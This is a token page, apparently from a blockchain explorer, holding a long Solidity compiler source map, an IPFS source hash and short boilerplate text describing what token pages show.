148::-;5549:6;;-1:-1:-1;;;;;5549:6:0;3551:10;5549:22;5541:67;;;;-1:-1:-1;;;5541:67:0;;;;;;;:::i;:::-;5727:6:::1;::::0;5706:40:::1;::::0;5743:1:::1;::::0;-1:-1:-1;;;;;5727:6:0::1;::::0;5706:40:::1;::::0;5743:1;;5706:40:::1;5757:6;:19:::0;;-1:-1:-1;;;;;;5757:19:0::1;::::0;;5636:148::o;6773:104::-;6829:13;6862:7;6855:14;;;;;:::i;7253:175::-;7339:4;7356:42;3551:10;7380:9;7391:6;7356:9;:42::i;8388:119::-;5549:6;;8473:24;;-1:-1:-1;;;;;5549:6:0;3551:10;5549:22;5541:67;;;;-1:-1:-1;;;5541:67:0;;;;;;;:::i;8515:713::-;5487:6;;-1:-1:-1;;;;;5487:6:0;8571:10;:21;:41;;;;-1:-1:-1;8597:5:0;;;;:14;8571:41;8562:88;;;;-1:-1:-1;;;8562:88:0;;;;;;;:::i;:::-;8687:7;;8663:45;;8680:4;;-1:-1:-1;;;;;8687:7:0;-1:-1:-1;;8663:8:0;:45::i;:::-;8721:21;8760:5;8745:12;;:20;;;;:::i;:::-;:36;;8769:11;8745:36;:::i;:::-;8810:4;8792:24;;;;:9;:24;;;;;:41;;8721:60;;-1:-1:-1;8721:60:0;;8792:24;;;:41;;8721:60;;8792:41;:::i;:::-;;;;-1:-1:-1;;8854:10:0;8844:21;;;;:9;:21;;;;;:38;;8869:13;;8844:21;:38;;8869:13;;8844:38;:::i;:::-;;;;-1:-1:-1;;8898:50:0;;1535:25:1;;;8927:4:0;;8907:10;;8898:50;;1523:2:1;1508:18;8898:50:0;;;;;;;8980:6;;;;;;;;;-1:-1:-1;;;;;8980:6:0;-1:-1:-1;;;;;8980:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9009:4;;;8968:61;;-1:-1:-1;;;8968:61:0;;-1:-1:-1;;;;;9009:4:0;;;8968:61;;;5916:34:1;;;;9023:4:0;5966:18:1;;;5959:43;8968:40:0;;;;;;;5851:18:1;;8968:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8961:4;:68;;-1:-1:-1;;;;;8961:68:0;;;-1:-1:-1;;;;;;8961:68:0;;;;;;9040:6;;;:22;9070:9;9089:4;9096:13;;9070:9;9137:7;5487:6;;-1:-1:-1;;;;;5487:6:0;;5422:79;9137:7;9146:21;:15;9164:3;9146:21;:::i;:::-;9040:128;;;;;;-1:-1:-1;;;;;;9040:128:0;;;-1:-1:-1;;;;;6356:15:1;;;9040:128:0;;;6338:34:1;6388:18;;;6381:34;;;;6431:18;;;6424:34;;;;6474:18;;;6467:34;;;;6538:15;;;6517:19;;;6510:44;6570:19;;;6563:35;;;;6272:19;;9040:128:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;9181:5:0;:12;;-1:-1:-1;;9181:12:0;9189:4;9181:12;;;-1:-1:-1;;9208:12:0;9195:10;:25;8515:713::o;8034:346::-;-1:-1:-1;;;;;8136:19:0;;8128:68;;;;-1:-1:-1;;;8128:68:0;;7122:2:1;8128:68:0;;;7104:21:1;7161:2;7141:18;;;7134:30;7200:34;7180:18;;;7173:62;-1:-1:-1;;;7251:18:1;;;7244:34;7295:19;;8128:68:0;6920:400:1;8128:68:0;-1:-1:-1;;;;;8215:21:0;;8207:68;;;;-1:-1:-1;;;8207:68:0;;7527:2:1;8207:68:0;;;7509:21:1;7566:2;7546:18;;;7539:30;7605:34;7585:18;;;7578:62;-1:-1:-1;;;7656:18:1;;;7649:32;7698:19;;8207:68:0;7325:398:1;8207:68:0;-1:-1:-1;;;;;8288:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8340:32;;1535:25:1;;;8340:32:0;;1508:18:1;8340:32:0;;;;;;;;8034:346;;;:::o;10066:588::-;10164:7;:16;;-1:-1:-1;;;;;10164:16:0;;;-1:-1:-1;;;;;;10164:16:0;;;;;;;10182:10;:22;;;;;;;;;;;;;;;10227:5;;;;:13;;10164:16;10227:13;;10226:45;;-1:-1:-1;10246:7:0;;-1:-1:-1;;;;;10246:7:0;10265:4;10246:24;10226:45;:69;;;-1:-1:-1;5487:6:0;;10276:7;;-1:-1:-1;;;;;10276:7:0;;;5487:6;;10276:18;10226:69;10217:117;;;;-1:-1:-1;;;10217:117:0;;7930:2:1;10217:117:0;;;7912:21:1;7969:2;7949:18;;;7942:30;8008:34;7988:18;;;7981:62;-1:-1:-1;;;8059:18:1;;;8052:31;8100:19;;10217:117:0;7728:397:1;10217:117:0;10353:7;;-1:-1:-1;;;;;10353:7:0;10345:71;;;;-1:-1:-1;;;10345:71:0;;8332:2:1;10345:71:0;;;8314:21:1;8371:2;8351:18;;;8344:30;8410:34;8390:18;;;8383:62;-1:-1:-1;;;8461:18:1;;;8454:35;8506:19;;10345:71:0;8130:401:1;10345:71:0;-1:-1:-1;;;;;10435:23:0;;10427:71;;;;-1:-1:-1;;;10427:71:0;;8738:2:1;10427:71:0;;;8720:21:1;8777:2;8757:18;;;8750:30;8816:34;8796:18;;;8789:62;-1:-1:-1;;;8867:18:1;;;8860:33;8910:19;;10427:71:0;8536:399:1;10427:71:0;10511:35;10531:6;10539;10511:19;:35::i;:::-;-1:-1:-1;;;;;;10559:20:0;;;;;;:9;:20;;;;;:30;;10583:6;;10559:20;:30;;10583:6;;10559:30;:::i;:::-;;;;;;;;10626:9;-1:-1:-1;;;;;10609:35:0;10618:6;-1:-1:-1;;;;;10609:35:0;;10637:6;10609:35;;;;1535:25:1;;1523:2;1508:18;;1389:177;9495:563:0;9574:14;9651:4;9645:11;-1:-1:-1;;;9681:4:0;9674:80;9796:6;9789:4;9783;9779:15;9772:31;9844:4;9838;9834:15;9828:4;9821:29;9929:4;9923;9917;9911;9908:1;9901:4;9895:11;9888:5;9883:51;9955:7;9952:36;;;9981:4;9975:11;9965:21;;9952:36;-1:-1:-1;10035:15:0;;-1:-1:-1;10044:6:0;10035;:15;:::i;:::-;-1:-1:-1;;;;;10015:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;9495:563:0;:::o;222:289:1:-;264:3;302:5;296:12;329:6;324:3;317:19;385:6;378:4;371:5;367:16;360:4;355:3;351:14;345:47;437:1;430:4;421:6;416:3;412:16;408:27;401:38;500:4;493:2;489:7;484:2;476:6;472:15;468:29;463:3;459:39;455:50;448:57;;;222:289;;;;:::o;516:220::-;665:2;654:9;647:21;628:4;685:45;726:2;715:9;711:18;703:6;685:45;:::i;741:131::-;-1:-1:-1;;;;;816:31:1;;806:42;;796:70;;862:1;859;852:12;796:70;741:131;:::o;877:315::-;945:6;953;1006:2;994:9;985:7;981:23;977:32;974:52;;;1022:1;1019;1012:12;974:52;1061:9;1048:23;1080:31;1105:5;1080:31;:::i;:::-;1130:5;1182:2;1167:18;;;;1154:32;;-1:-1:-1;;;877:315:1:o;1571:456::-;1648:6;1656;1664;1717:2;1705:9;1696:7;1692:23;1688:32;1685:52;;;1733:1;1730;1723:12;1685:52;1772:9;1759:23;1791:31;1816:5;1791:31;:::i;:::-;1841:5;-1:-1:-1;1898:2:1;1883:18;;1870:32;1911:33;1870:32;1911:33;:::i;:::-;1571:456;;1963:7;;-1:-1:-1;;;2017:2:1;2002:18;;;;1989:32;;1571:456::o;2221:247::-;2280:6;2333:2;2321:9;2312:7;2308:23;2304:32;2301:52;;;2349:1;2346;2339:12;2301:52;2388:9;2375:23;2407:31;2432:5;2407:31;:::i;2473:409::-;2547:6;2555;2563;2616:2;2604:9;2595:7;2591:23;2587:32;2584:52;;;2632:1;2629;2622:12;2584:52;2671:9;2658:23;2724:5;2717:13;2710:21;2703:5;2700:32;2690:60;;2746:1;2743;2736:12;2690:60;2769:5;2821:2;2806:18;;2793:32;;-1:-1:-1;2872:2:1;2857:18;;;2844:32;;2473:409;-1:-1:-1;;;2473:409:1:o;3110:388::-;3178:6;3186;3239:2;3227:9;3218:7;3214:23;3210:32;3207:52;;;3255:1;3252;3245:12;3207:52;3294:9;3281:23;3313:31;3338:5;3313:31;:::i;:::-;3363:5;-1:-1:-1;3420:2:1;3405:18;;3392:32;3433:33;3392:32;3433:33;:::i;:::-;3485:7;3475:17;;;3110:388;;;;;:::o;3503:380::-;3582:1;3578:12;;;;3625;;;3646:61;;3700:4;3692:6;3688:17;3678:27;;3646:61;3753:2;3745:6;3742:14;3722:18;3719:38;3716:161;;3799:10;3794:3;3790:20;3787:1;3780:31;3834:4;3831:1;3824:15;3862:4;3859:1;3852:15;3716:161;;3503:380;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:128;4496:9;;;4517:11;;;4514:37;;;4531:18;;:::i;4562:356::-;4764:2;4746:21;;;4783:18;;;4776:30;4842:34;4837:2;4822:18;;4815:62;4909:2;4894:18;;4562:356::o;4923:217::-;4963:1;4989;4979:132;;5033:10;5028:3;5024:20;5021:1;5014:31;5068:4;5065:1;5058:15;5096:4;5093:1;5086:15;4979:132;-1:-1:-1;5125:9:1;;4923:217::o;5145:168::-;5218:9;;;5249;;5266:15;;;5260:22;;5246:37;5236:71;;5287:18;;:::i;5318:125::-;5383:9;;;5404:10;;;5401:36;;;5417:18;;:::i;5448:251::-;5518:6;5571:2;5559:9;5550:7;5546:23;5542:32;5539:52;;;5587:1;5584;5577:12;5539:52;5619:9;5613:16;5638:31;5663:5;5638:31;:::i;6609:306::-;6697:6;6705;6713;6766:2;6754:9;6745:7;6741:23;6737:32;6734:52;;;6782:1;6779;6772:12;6734:52;6811:9;6805:16;6795:26;;6861:2;6850:9;6846:18;6840:25;6830:35;;6905:2;6894:9;6890:18;6884:25;6874:35;;6609:306;;;;;:::o
Swarm Source
ipfs://0b0bbd529afb5ea8c470985ba47313c3ac15ec04203d2909ba32504558d318fa
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.